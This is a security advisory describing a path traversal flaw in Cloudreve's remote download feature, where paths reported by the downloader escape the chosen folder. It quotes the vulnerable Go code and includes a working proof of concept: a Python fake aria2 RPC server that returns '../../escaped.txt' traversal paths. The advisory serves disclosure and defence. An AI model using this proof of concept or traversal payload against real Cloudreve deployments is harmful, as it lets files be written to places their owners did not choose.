--- id: GHSA-w8j7-39hp-8x59 title: >- Cloudreve's remote download file paths can escape the selected destination directory summary: >- Cloudreve's remote download file paths can escape the selected destination directory severity: medium cwe: - CWE-22 - CWE-23 vendor: cloudreve product: github.com/cloudreve/Cloudreve/v4 ecosystem: go affected: - github.com/cloudreve/Cloudreve/v4 <= 4.0.0-20260606032813-26b6b1044b02 published: '2026-08-24' updated: '2026-08-24' source: GHSA sourceUrl: 'https://github.com/advisories/GHSA-w8j7-39hp-8x59' references: - url: >- https://github.com/cloudreve/cloudreve/security/advisories/GHSA-w8j7-39hp-8x59 - url: 'https://github.com/advisories/GHSA-w8j7-39hp-8x59' tags: - ghsa - go ingestedAt: '2026-08-24T22:12:10.982Z' --- ## Overview ### Summary Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as `../../escaped.txt` can cause a downloaded file to be created outside the user-selected destination directory. ### Details In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name. ```go // pkg/filemanager/workflows/remote_download.go:436-438 sanitizedName := sanitizeFileName(file.Name) dst := dstUri.JoinRaw(sanitizedName) src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name)) ``` The same issue also exists when constructing slave upload payloads. ```go // pkg/filemanager/workflows/remote_download.go:323-327 dst := dstUri.JoinRaw(sanitizeFileName(f.Name)) src := path.Join(m.state.Status.SavePath, f.Name) payload.Files = append(payload.Files, SlaveUploadEntity{ Src: src, Uri: dst, ``` The sanitizer does not remove `/`, `.`, or `..` path segments. ```go // pkg/filemanager/workflows/remote_download.go:648-650 func sanitizeFileName(name string) string { r := strings.NewReplacer("\\", "_", ":", "_", "*", "_", "?", "_", "\"", "_", "<", "_", ">", "_", "|", "_") return r.Replace(name) } ``` `JoinRaw()` splits the raw string by `/` and joins the segments, allowing `..` to affect the final URI path. ```go // pkg/filemanager/fs/uri.go:173-175 func (u *URI) JoinRaw(elem string) *URI { return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...) } ``` For aria2, Cloudreve derives `downloader.TaskFile.Name` from the path returned by `aria2.tellStatus().files[].path`. ```go // pkg/downloader/aria2/aria2.go:148-159 relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath) if len(relPath) > 0 { relPath = relPath[1:] } return downloader.TaskFile{ Index: index, Name: relPath, ``` Therefore, if the selected destination is: `cloudreve://my/victim/safe`, the downloader reports `../../escaped.txt`, the final upload destination becomes `cloudreve://my/escaped.txt` The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks. ### PoC The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL. Setup: ```text Cloudreve official Docker image PostgreSQL Redis Fake aria2 JSON-RPC service ``` Configure the master node in the Cloudreve admin UI: ```text Remote download capability: enabled Downloader provider: aria2 aria2 RPC server: http://fake-aria2:6800/jsonrpc aria2 token: empty ``` Create this folder structure in the file manager: ```text My files / victim / safe / ``` Create a remote download task using any URL in the `victim/safe` directory, for example: ```text http://attacker.invalid/file ``` The fake aria2 service returns: ```text files[0].path = /../../escaped.txt ``` Expected result after the remote download task completes: ```text cloudreve://my/escaped.txt exists ``` This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory. ### Impact If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task. This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder. ### Appendix: fake_aria2.py ```python import json import os from http.server import BaseHTTPRequestHandler, HTTPServer GID = "0123456789abcdef" CONTENT = b"created outside the selected Cloudreve destination\n" save_dir = "/cloudreve/data/temp/aria2/poc-final" def write_source_file(): source = os.path.normpath(os.path.join(save_dir, "..", "..", "escaped.txt")) os.makedirs(os.path.dirname(source), exist_ok=True) with open(source, "wb") as f: f.write(CONTENT) print(f"fake aria2 source file: {source}", flush=True) def response(rpc_id, result): return json.dumps({"jsonrpc": "2.0", "id": rpc_id, "result": result}).encode() class Handler(BaseHTTPRequestHandler): def do_POST(self): global save_dir raw = self.rfile.read(int(self.headers.get("Content-Length", "0"))) req = json.loads(raw or b"{}") method = req.get("method") rpc_id = req.get("id") if method == "aria2.addUri": for item in req.get("params", []): if isinstance(item, dict) and item.get("dir"): save_dir = item["dir"] break write_source_file() result = GID elif method == "aria2.tellStatus": result = { "gid": GID, "status": "complete", "totalLength": str(len(CONTENT)), "completedLength": str(len(CONTENT)), "uploadLength": "0", "downloadSpeed": "0", "uploadSpeed": "0", "infoHash": "", "numPieces": "1", "dir": save_dir, "files": [ { "index": "1", "path": f"{save_dir}/../../escaped.txt", "length": str(len(CONTENT)), "completedLength": str(len(CONTENT)), "selected": "true", "uris": [], } ], "bittorrent": {"mode": "single", "info": {"name": "poc-final"}}, } elif method == "aria2.getVersion": result = {"version": "fake-poc-final", "enabledFeatures": []} else: result = "OK" body = response(rpc_id, result) self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def log_message(self, fmt, *args): return if __name__ == "__main__": print("fake aria2 JSON-RPC listening on :6800", flush=True) HTTPServer(("0.0.0.0", 6800), Handler).serve_forever() ``` ## Affected packages - `github.com/cloudreve/Cloudreve/v4 <= 4.0.0-20260606032813-26b6b1044b02` ## Remediation Refer to the advisory for the patched release.